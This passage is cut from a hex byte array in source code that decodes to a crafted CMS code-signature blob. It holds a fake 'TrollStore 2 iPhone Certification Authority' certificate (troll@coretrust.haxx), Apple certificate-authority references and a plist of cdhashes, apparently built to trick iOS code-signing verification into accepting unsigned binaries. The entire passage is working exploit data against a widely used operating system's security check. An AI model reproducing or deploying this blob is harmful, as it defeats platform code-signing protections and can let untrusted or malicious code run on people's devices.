0x33, 0x32, 0x30, 0x31, 0x39, 0x32, 0x36, 0x5a, 0x30, 0x81, 0xfc, 0x31,
0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53,
0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x0c, 0x0a, 0x43,
0x61, 0x6c, 0x69, 0x66, 0x6f, 0x72, 0x6e, 0x69, 0x61, 0x31, 0x12, 0x30,
0x10, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0c, 0x09, 0x43, 0x75, 0x70, 0x65,
0x72, 0x74, 0x69, 0x6e, 0x6f, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55,
0x04, 0x0a, 0x0c, 0x2b, 0x54, 0x72, 0x6f, 0x6c, 0x6c, 0x53, 0x74, 0x6f,
0x72, 0x65, 0x20, 0x32, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20,
0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f,
0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31,
0x33, 0x30, 0x31, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x2a, 0x54, 0x72,
0x6f, 0x6c, 0x6c, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x20, 0x32, 0x20, 0x69,
0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x4f, 0x53, 0x20, 0x41, 0x70, 0x70,
0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x53, 0x69, 0x67,
0x6e, 0x69, 0x6e, 0x67, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55, 0x04,
0x03, 0x0c, 0x2b, 0x54, 0x72, 0x6f, 0x6c, 0x6c, 0x53, 0x74, 0x6f, 0x72,
0x65, 0x20, 0x32, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x43,
0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e,
0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x23,
0x30, 0x21, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09,
0x01, 0x16, 0x14, 0x74, 0x72, 0x6f, 0x6c, 0x6c, 0x40, 0x63, 0x6f, 0x72,
0x65, 0x74, 0x72, 0x75, 0x73, 0x74, 0x2e, 0x68, 0x61, 0x78, 0x78, 0x30,
0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30,
0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xbe, 0x13, 0x2e, 0x48,
0x8a, 0x12, 0x98, 0x59, 0x4f, 0x4f, 0x5f, 0x5b, 0xd1, 0x4f, 0x97, 0x5c,
0xed, 0xe8, 0xd6, 0x43, 0xe9, 0x3e, 0x26, 0x82, 0x38, 0x22, 0x18, 0x56,
0x45, 0x21, 0xf6, 0xf0, 0xb8, 0xcf, 0xe3, 0x6a, 0x17, 0xdf, 0xce, 0x72,
0x6d, 0xad, 0xa8, 0x7d, 0x31, 0xf9, 0xa1, 0x4a, 0x73, 0xee, 0x07, 0x4b,
0x95, 0xa8, 0x58, 0x0e, 0x05, 0xd9, 0x07, 0x5b, 0x3d, 0x47, 0xbb, 0xce,
0x7d, 0x7e, 0x4b, 0x30, 0x76, 0xe4, 0xe4, 0x2a, 0x9f, 0x48, 0x46, 0x3c,
0xe8, 0x23, 0xeb, 0x6b, 0xc7, 0xaf, 0xd5, 0x64, 0x23, 0x66, 0xff, 0x25,
0xda, 0x6a, 0x7e, 0x95, 0x3e, 0xc3, 0x0d, 0xe6, 0xc6, 0x06, 0x90, 0xc6,
0x8a, 0x2f, 0x1f, 0xcb, 0x63, 0x88, 0xa0, 0x3c, 0x9d, 0xca, 0x85, 0x67,
0x80, 0x6e, 0xe1, 0x4e, 0xb7, 0x61, 0xfe, 0x81, 0x8b, 0x53, 0x07, 0x34,
0x56, 0x58, 0xa6, 0x46, 0x58, 0x60, 0x24, 0x44, 0xac, 0xa7, 0x5c, 0xba,
0xab, 0xc1, 0x74, 0x6d, 0x5c, 0x81, 0xe2, 0x1b, 0xb8, 0x3a, 0x87, 0xec,
0x08, 0x86, 0x9d, 0x86, 0xf9, 0xc9, 0x0c, 0x5d, 0xf4, 0x5c, 0xd9, 0xf8,
0x7a, 0x7e, 0x20, 0xa5, 0x95, 0x52, 0x70, 0x4b, 0xf4, 0x96, 0x7e, 0xe4,
0x30, 0x11, 0x2f, 0x5c, 0x19, 0x0e, 0xa6, 0x6b, 0x97, 0x52, 0x68, 0xd7,
0xd7, 0x67, 0xe9, 0x91, 0xda, 0xea, 0xcb, 0xd4, 0x70, 0xba, 0x11, 0x08,
0xb8, 0x54, 0xb8, 0x48, 0x61, 0x42, 0xe0, 0xae, 0x53, 0x23, 0xc0, 0x17,
0xbd, 0x6d, 0xb1, 0xa5, 0x13, 0xa0, 0x65, 0xb5, 0xea, 0x91, 0x9a, 0xa5,
0x2f, 0x8e, 0xc2, 0x3b, 0x91, 0x70, 0x9d, 0x9e, 0x6e, 0x9f, 0x3e, 0x67,
0xd3, 0xd7, 0x62, 0x3b, 0xdc, 0x96, 0x1e, 0xf3, 0x0b, 0x47, 0xaf, 0x26,
0x3c, 0xdd, 0x0e, 0x00, 0xbf, 0x6f, 0x24, 0x9e, 0x07, 0x3c, 0xe5, 0x5d,
0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0x97, 0x30, 0x81, 0x94, 0x30,
0x0f, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x05, 0x30,
0x03, 0x01, 0x01, 0xff, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x01,
0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x02, 0x84, 0x30, 0x13, 0x06, 0x03,
0x55, 0x1d, 0x25, 0x04, 0x0c, 0x30, 0x0a, 0x06, 0x08, 0x2b, 0x06, 0x01,
0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x12, 0x06, 0x09, 0x2a, 0x86, 0x48,
0x86, 0xf7, 0x63, 0x64, 0x06, 0x16, 0x01, 0x01, 0xff, 0x04, 0x02, 0x05,
0x00, 0x30, 0x13, 0x06, 0x0a, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64,
0x06, 0x01, 0x03, 0x01, 0x01, 0xff, 0x04, 0x02, 0x05, 0x00, 0x30, 0x14,
0x06, 0x0b, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x06, 0x01, 0x19,
0x01, 0x01, 0x01, 0xff, 0x04, 0x02, 0x05, 0x00, 0x30, 0x1d, 0x06, 0x03,
0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x97, 0x90, 0xd2, 0x7e, 0x87,
0x35, 0x8a, 0x0b, 0xd1, 0x92, 0xf5, 0xcf, 0xe4, 0xac, 0xd2, 0x14, 0x35,
0x29, 0x08, 0xe2, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0xaf,
0xec, 0x00, 0x5b, 0x9f, 0xd7, 0x13, 0x93, 0xed, 0x33, 0xed, 0x89, 0x31,
0xb5, 0x65, 0x98, 0x7d, 0xda, 0x9a, 0x64, 0x39, 0x1d, 0x57, 0x7c, 0x94,
0x15, 0x45, 0x72, 0x2a, 0xcd, 0xa2, 0x27, 0x64, 0xbf, 0xcd, 0x85, 0xfb,
0x31, 0x6f, 0x5c, 0x95, 0x7d, 0xda, 0xcf, 0x45, 0x42, 0x2f, 0x16, 0x1c,
0xcc, 0xbe, 0x04, 0x54, 0xe9, 0x2b, 0xf6, 0xa3, 0xed, 0x39, 0xbf, 0xa9,
0x07, 0x30, 0x2e, 0x7f, 0x7f, 0x4f, 0xf8, 0xe3, 0x57, 0x46, 0x14, 0x13,
0xf2, 0x63, 0xec, 0xeb, 0x6d, 0x45, 0x3e, 0x7b, 0xff, 0xac, 0x12, 0xb0,
0xc5, 0x88, 0x28, 0xd4, 0x90, 0x1f, 0xee, 0xff, 0xbc, 0x44, 0xd3, 0xed,
0x31, 0xb8, 0x9a, 0x97, 0xc9, 0x55, 0xcd, 0x8d, 0x3e, 0x1d, 0x7b, 0x2d,
0xb9, 0x3f, 0x22, 0xbc, 0xf5, 0x0a, 0x03, 0x97, 0x34, 0x5d, 0x7a, 0xc2,
0x76, 0xd6, 0xd9, 0x31, 0x83, 0x9a, 0x0e, 0x0b, 0x37, 0xbb, 0x5f, 0xd6,
0x51, 0xb0, 0xe7, 0x4e, 0xd9, 0x2c, 0xea, 0x1b, 0x09, 0x0f, 0x39, 0x82,
0x33, 0xd2, 0xda, 0x40, 0x1d, 0xce, 0x88, 0xe6, 0x38, 0xa4, 0xb9, 0x5b,
0x19, 0x4a, 0x81, 0x4c, 0xab, 0x5e, 0x26, 0xdf, 0x84, 0xc7, 0x32, 0x53,
0x48, 0x27, 0xce, 0x7e, 0x1c, 0xa8, 0x2d, 0xaa, 0xa9, 0x23, 0x65, 0x36,
0xcd, 0x47, 0x8e, 0x78, 0x2e, 0x50, 0x63, 0x1d, 0x1b, 0xeb, 0x67, 0xa6,
0x52, 0x25, 0x90, 0x17, 0x82, 0x2a, 0xce, 0xda, 0x28, 0x25, 0x81, 0x97,
0xce, 0x6c, 0x78, 0x95, 0x82, 0x61, 0x57, 0xf1, 0x51, 0x01, 0xfe, 0x4d,
0xfa, 0xd7, 0xff, 0xa7, 0xd1, 0x77, 0x95, 0x23, 0xf2, 0xf9, 0x96, 0xfc,
0xed, 0xf5, 0x91, 0x1a, 0x02, 0x6d, 0x73, 0x16, 0xd0, 0x29, 0xe5, 0xb4,
0xc8, 0x8f, 0xa1, 0x44, 0xbc, 0x67, 0x60, 0xf5, 0xac, 0xeb, 0x52, 0x4b,
0xa7, 0x44, 0xa7, 0x31, 0x82, 0x08, 0x20, 0x30, 0x82, 0x04, 0x67, 0x02,
0x01, 0x01, 0x30, 0x82, 0x01, 0x15, 0x30, 0x81, 0xfc, 0x31, 0x0b, 0x30,
0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13,
0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x0c, 0x0a, 0x43, 0x61, 0x6c,
0x69, 0x66, 0x6f, 0x72, 0x6e, 0x69, 0x61, 0x31, 0x12, 0x30, 0x10, 0x06,
0x03, 0x55, 0x04, 0x07, 0x0c, 0x09, 0x43, 0x75, 0x70, 0x65, 0x72, 0x74,
0x69, 0x6e, 0x6f, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55, 0x04, 0x0a,
0x0c, 0x2b, 0x54, 0x72, 0x6f, 0x6c, 0x6c, 0x53, 0x74, 0x6f, 0x72, 0x65,
0x20, 0x32, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65,
0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20,
0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x33, 0x30,
0x31, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x2a, 0x54, 0x72, 0x6f, 0x6c,
0x6c, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x20, 0x32, 0x20, 0x69, 0x50, 0x68,
0x6f, 0x6e, 0x65, 0x20, 0x4f, 0x53, 0x20, 0x41, 0x70, 0x70, 0x6c, 0x69,
0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69,
0x6e, 0x67, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55, 0x04, 0x03, 0x0c,
0x2b, 0x54, 0x72, 0x6f, 0x6c, 0x6c, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x20,
0x32, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65, 0x72,
0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41,
0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x23, 0x30, 0x21,
0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x01, 0x16,
0x14, 0x74, 0x72, 0x6f, 0x6c, 0x6c, 0x40, 0x63, 0x6f, 0x72, 0x65, 0x74,
0x72, 0x75, 0x73, 0x74, 0x2e, 0x68, 0x61, 0x78, 0x78, 0x02, 0x14, 0x18,
0xa5, 0xfe, 0xfd, 0x11, 0xd9, 0xc4, 0xcc, 0x28, 0xd6, 0xf8, 0xff, 0xcf,
0xf4, 0x58, 0x6e, 0xc6, 0xc8, 0x3e, 0xf3, 0x30, 0x0d, 0x06, 0x09, 0x60,
0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0xa0, 0x82,
0x02, 0x25, 0x30, 0x18, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d,
0x01, 0x09, 0x03, 0x31, 0x0b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x07, 0x01, 0x30, 0x1c, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86,
0xf7, 0x0d, 0x01, 0x09, 0x05, 0x31, 0x0f, 0x17, 0x0d, 0x32, 0x33, 0x31,
0x31, 0x32, 0x36, 0x32, 0x30, 0x33, 0x34, 0x32, 0x39, 0x5a, 0x30, 0x2f,
0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x04, 0x31,
0x22, 0x04, 0x20, 0xc2, 0x96, 0x8f, 0x4a, 0x63, 0xc0, 0xcf, 0xb6, 0xcd,
0x82, 0xb8, 0x48, 0xe2, 0x04, 0x3d, 0xa0, 0x71, 0xfe, 0xa3, 0x66, 0x32,
0x8c, 0xb4, 0xe0, 0x94, 0x12, 0xdb, 0xb5, 0x73, 0x96, 0xc4, 0xc4, 0x30,
0x5b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x09, 0x02,
0x31, 0x4e, 0x30, 0x1d, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1a, 0x04,
0x14, 0x51, 0xf9, 0xbc, 0xa2, 0x95, 0xbe, 0x9c, 0x2e, 0x1d, 0xee, 0x77,
0xd0, 0x93, 0xce, 0x0f, 0xcf, 0x3f, 0xc9, 0x34, 0x50, 0x30, 0x2d, 0x06,
0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x04, 0x20,
0xb8, 0xca, 0x7d, 0x9d, 0xef, 0xa9, 0xcf, 0xd2, 0x00, 0x90, 0x38, 0x28,
0x1d, 0x0a, 0xa7, 0x2f, 0xca, 0x77, 0xd7, 0xa4, 0x6b, 0xae, 0x73, 0x93,
0x60, 0xf8, 0x61, 0x98, 0xd2, 0x1a, 0x38, 0xe6, 0x30, 0x82, 0x01, 0x5b,
0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x09, 0x01, 0x31,
0x82, 0x01, 0x4c, 0x04, 0x82, 0x01, 0x48, 0x3c, 0x3f, 0x78, 0x6d, 0x6c,
0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x22, 0x31, 0x2e,
0x30, 0x22, 0x20, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x3d,
0x22, 0x55, 0x54, 0x46, 0x2d, 0x38, 0x22, 0x3f, 0x3e, 0x0a, 0x3c, 0x21,
0x44, 0x4f, 0x43, 0x54, 0x59, 0x50, 0x45, 0x20, 0x70, 0x6c, 0x69, 0x73,
0x74, 0x20, 0x50, 0x55, 0x42, 0x4c, 0x49, 0x43, 0x20, 0x22, 0x2d, 0x2f,
0x2f, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x2f, 0x2f, 0x44, 0x54, 0x44, 0x20,
0x50, 0x4c, 0x49, 0x53, 0x54, 0x20, 0x31, 0x2e, 0x30, 0x2f, 0x2f, 0x45,
0x4e, 0x22, 0x20, 0x22, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x77,
0x77, 0x77, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x2e, 0x63, 0x6f, 0x6d,
0x2f, 0x44, 0x54, 0x44, 0x73, 0x2f, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72,
0x74, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x2d, 0x31, 0x2e, 0x30, 0x2e, 0x64,
0x74, 0x64, 0x22, 0x3e, 0x0a, 0x3c, 0x70, 0x6c, 0x69, 0x73, 0x74, 0x20,
0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x22, 0x31, 0x2e, 0x30,
0x22, 0x3e, 0x0a, 0x3c, 0x64, 0x69, 0x63, 0x74, 0x3e, 0x0a, 0x09, 0x3c,
0x6b, 0x65, 0x79, 0x3e, 0x63, 0x64, 0x68, 0x61, 0x73, 0x68, 0x65, 0x73,
0x3c, 0x2f, 0x6b, 0x65, 0x79, 0x3e, 0x0a, 0x09, 0x3c, 0x61, 0x72, 0x72,
0x61, 0x79, 0x3e, 0x0a, 0x09, 0x09, 0x3c, 0x64, 0x61, 0x74, 0x61, 0x3e,
0x0a, 0x09, 0x09, 0x55, 0x66, 0x6d, 0x38, 0x6f, 0x70, 0x57, 0x2b, 0x6e,
0x43, 0x34, 0x64, 0x37, 0x6e, 0x66, 0x51, 0x6b, 0x38, 0x34, 0x50, 0x7a,
0x7a, 0x2f, 0x4a, 0x4e, 0x46, 0x41, 0x3d, 0x0a, 0x09, 0x09, 0x3c, 0x2f,
0x64, 0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x09, 0x3c, 0x64, 0x61, 0x74,
0x61, 0x3e, 0x0a, 0x09, 0x09, 0x75, 0x4d, 0x70, 0x39, 0x6e, 0x65, 0x2b,
0x70, 0x7a, 0x39, 0x49, 0x41, 0x6b, 0x44, 0x67, 0x6f, 0x48, 0x51, 0x71,
0x6e, 0x4c, 0x38, 0x70, 0x33, 0x31, 0x36, 0x51, 0x3d, 0x0a, 0x09, 0x09,
0x3c, 0x2f, 0x64, 0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x3c, 0x2f, 0x61,
0x72, 0x72, 0x61, 0x79, 0x3e, 0x0a, 0x3c, 0x2f, 0x64, 0x69, 0x63, 0x74,
0x3e, 0x0a, 0x3c, 0x2f, 0x70, 0x6c, 0x69, 0x73, 0x74, 0x3e, 0x0a, 0x30,
0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b,
0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x8a, 0x4f, 0xdd, 0xcf, 0x23, 0x66,
0x89, 0x82, 0x87, 0x09, 0x5e, 0x07, 0x11, 0x65, 0x40, 0xb9, 0xb3, 0x8d,
0x01, 0xe1, 0x4d, 0x1b, 0x8e, 0x62, 0x4a, 0x5b, 0x58, 0xeb, 0x47, 0xdc,
0x16, 0xcf, 0x38, 0x9e, 0x58, 0xa5, 0xd5, 0xf4, 0xc5, 0x4f, 0x29, 0x4f,
0x60, 0x33, 0xb0, 0x92, 0x37, 0xb8, 0x09, 0x57, 0x2b, 0x96, 0xac, 0x26,
0xff, 0x16, 0xea, 0x99, 0x5e, 0x59, 0x82, 0x6b, 0xdf, 0x30, 0x74, 0x56,
0x21, 0xf8, 0x74, 0xa7, 0x30, 0xc5, 0x39, 0x51, 0x3e, 0x9f, 0xb4, 0x72,
0x2b, 0xe4, 0x38, 0xba, 0xf7, 0x3e, 0xc4, 0x32, 0x44, 0x26, 0xd7, 0xf9,
0x2e, 0xd3, 0x1b, 0xae, 0x9b, 0x11, 0x53, 0x18, 0x30, 0x62, 0xd9, 0x2f,
0xcf, 0x75, 0x5d, 0x58, 0x96, 0xee, 0x25, 0x1e, 0x1c, 0x56, 0x0a, 0x73,
0xeb, 0x92, 0x36, 0x72, 0x9c, 0x50, 0x6f, 0x95, 0x52, 0xdc, 0xf7, 0xb1,
0xd3, 0xdb, 0x8a, 0x63, 0xa0, 0xaf, 0x92, 0x8a, 0xee, 0x6c, 0xf3, 0xda,
0xe7, 0x80, 0xb5, 0x91, 0x84, 0x44, 0x67, 0xa2, 0xf9, 0x57, 0x3e, 0x32,
0x32, 0x3d, 0xa7, 0x08, 0x49, 0xd2, 0x36, 0xce, 0xd6, 0x80, 0x05, 0x59,
0xe2, 0xa7, 0xc3, 0xcc, 0xa4, 0x03, 0xdd, 0xfd, 0x03, 0x43, 0xa6, 0x40,
0xa1, 0xe0, 0x13, 0x82, 0x00, 0xf9, 0x92, 0x0e, 0x10, 0x21, 0x32, 0xc8,
0x64, 0x04, 0x7d, 0x2c, 0x02, 0x00, 0x45, 0xf8, 0xf1, 0x51, 0x15, 0xc6,
0x5d, 0xed, 0x5b, 0xfa, 0x93, 0x66, 0x92, 0x56, 0xd6, 0xce, 0x71, 0x5b,
0xd3, 0x98, 0xad, 0x6d, 0x65, 0x09, 0xef, 0x4e, 0x32, 0xd7, 0x45, 0x67,
0xdb, 0x98, 0x15, 0x28, 0xfa, 0xa2, 0x1c, 0x10, 0xdb, 0x79, 0x78, 0x0b,
0x10, 0x4c, 0xf7, 0x0e, 0x2a, 0xb6, 0x4a, 0xfb, 0x58, 0x57, 0x5f, 0xd6,
0x06, 0x52, 0x0a, 0xe1, 0xd7, 0xbe, 0x4a, 0xb5, 0x63, 0x48, 0x30, 0x82,
0x03, 0xb1, 0x02, 0x01, 0x01, 0x30, 0x7f, 0x30, 0x73, 0x31, 0x2d, 0x30,
0x2b, 0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x24, 0x41, 0x70, 0x70, 0x6c,
0x65, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65, 0x72,
0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41,
0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x20, 0x30, 0x1e,
0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x17, 0x43, 0x65, 0x72, 0x74, 0x69,
0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74,
0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03,
0x55, 0x04, 0x0a, 0x0c, 0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49,
0x6e, 0x63, 0x2e, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06,
0x13, 0x02, 0x55, 0x53, 0x02, 0x08, 0x40, 0x60, 0x57, 0xb3, 0xc9, 0xbf,
0x9d, 0xf0, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03,
0x04, 0x02, 0x01, 0x05, 0x00, 0xa0, 0x82, 0x02, 0x07, 0x30, 0x18, 0x06,
0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x03, 0x31, 0x0b,
0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x01, 0x30,
0x2f, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x04,
0x31, 0x22, 0x04, 0x20, 0xc2, 0x96, 0x8f, 0x4a, 0x63, 0xc0, 0xcf, 0xb6,
0xcd, 0x82, 0xb8, 0x48, 0xe2, 0x04, 0x3d, 0xa0, 0x71, 0xfe, 0xa3, 0x66,
0x32, 0x8c, 0xb4, 0xe0, 0x94, 0x12, 0xdb, 0xb5, 0x73, 0x96, 0xc4, 0xc4,
0x30, 0x5b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x09,
0x02, 0x31, 0x4e, 0x30, 0x1d, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1a,
0x04, 0x14, 0x51, 0xf9, 0xbc, 0xa2, 0x95, 0xbe, 0x9c, 0x2e, 0x1d, 0xee,
0x77, 0xd0, 0x93, 0xce, 0x0f, 0xcf, 0x3f, 0xc9, 0x34, 0x50, 0x30, 0x2d,
0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x04,
0x20, 0x93, 0x72, 0x19, 0xc3, 0x98, 0x18, 0xd7, 0x7d, 0x0c, 0x7b, 0x93,
0x6c, 0xba, 0xd6, 0x2c, 0xa4, 0x4c, 0x44, 0xb7, 0xa4, 0xaa, 0x7c, 0x50,
0x40, 0x93, 0x6f, 0x30, 0xb3, 0xe1, 0x19, 0xb0, 0x40, 0x30, 0x82, 0x01,
0x5b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x09, 0x01,
0x31, 0x82, 0x01, 0x4c, 0x04, 0x82, 0x01, 0x48, 0x3c, 0x3f, 0x78, 0x6d,
0x6c, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x22, 0x31,
0x2e, 0x30, 0x22, 0x20, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67,
0x3d, 0x22, 0x55, 0x54, 0x46, 0x2d, 0x38, 0x22, 0x3f, 0x3e, 0x0a, 0x3c,
0x21, 0x44, 0x4f, 0x43, 0x54, 0x59, 0x50, 0x45, 0x20, 0x70, 0x6c, 0x69,
0x73, 0x74, 0x20, 0x50, 0x55, 0x42, 0x4c, 0x49, 0x43, 0x20, 0x22, 0x2d,
0x2f, 0x2f, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x2f, 0x2f, 0x44, 0x54, 0x44,
0x20, 0x50, 0x4c, 0x49, 0x53, 0x54, 0x20, 0x31, 0x2e, 0x30, 0x2f, 0x2f,
0x45, 0x4e, 0x22, 0x20, 0x22, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f,
0x77, 0x77, 0x77, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x2e, 0x63, 0x6f,
0x6d, 0x2f, 0x44, 0x54, 0x44, 0x73, 0x2f, 0x50, 0x72, 0x6f, 0x70, 0x65,
0x72, 0x74, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x2d, 0x31, 0x2e, 0x30, 0x2e,
0x64, 0x74, 0x64, 0x22, 0x3e, 0x0a, 0x3c, 0x70, 0x6c, 0x69, 0x73, 0x74,
0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x22, 0x31, 0x2e,
0x30, 0x22, 0x3e, 0x0a, 0x3c, 0x64, 0x69, 0x63, 0x74, 0x3e, 0x0a, 0x09,
0x3c, 0x6b, 0x65, 0x79, 0x3e, 0x63, 0x64, 0x68, 0x61, 0x73, 0x68, 0x65,
0x73, 0x3c, 0x2f, 0x6b, 0x65, 0x79, 0x3e, 0x0a, 0x09, 0x3c, 0x61, 0x72,
0x72, 0x61, 0x79, 0x3e, 0x0a, 0x09, 0x09, 0x3c, 0x64, 0x61, 0x74, 0x61,
0x3e, 0x0a, 0x09, 0x09, 0x55, 0x66, 0x6d, 0x38, 0x6f, 0x70, 0x57, 0x2b,
0x6e, 0x43, 0x34, 0x64, 0x37, 0x6e, 0x66, 0x51, 0x6b, 0x38, 0x34, 0x50,
0x7a, 0x7a, 0x2f, 0x4a, 0x4e, 0x46, 0x41, 0x3d, 0x0a, 0x09, 0x09, 0x3c,
0x2f, 0x64, 0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x09, 0x3c, 0x64, 0x61,
0x74, 0x61, 0x3e, 0x0a, 0x09, 0x09, 0x6b, 0x33, 0x49, 0x5a, 0x77, 0x35,
0x67, 0x59, 0x31, 0x33, 0x30, 0x4d, 0x65, 0x35, 0x4e, 0x73, 0x75, 0x74,
0x59, 0x73, 0x70, 0x45, 0x78, 0x45, 0x74, 0x36, 0x51, 0x3d, 0x0a, 0x09,
0x09, 0x3c, 0x2f, 0x64, 0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x3c, 0x2f,
0x61, 0x72, 0x72, 0x61, 0x79, 0x3e, 0x0a, 0x3c, 0x2f, 0x64, 0x69, 0x63,
0x74, 0x3e, 0x0a, 0x3c, 0x2f, 0x70, 0x6c, 0x69, 0x73, 0x74, 0x3e, 0x0a,
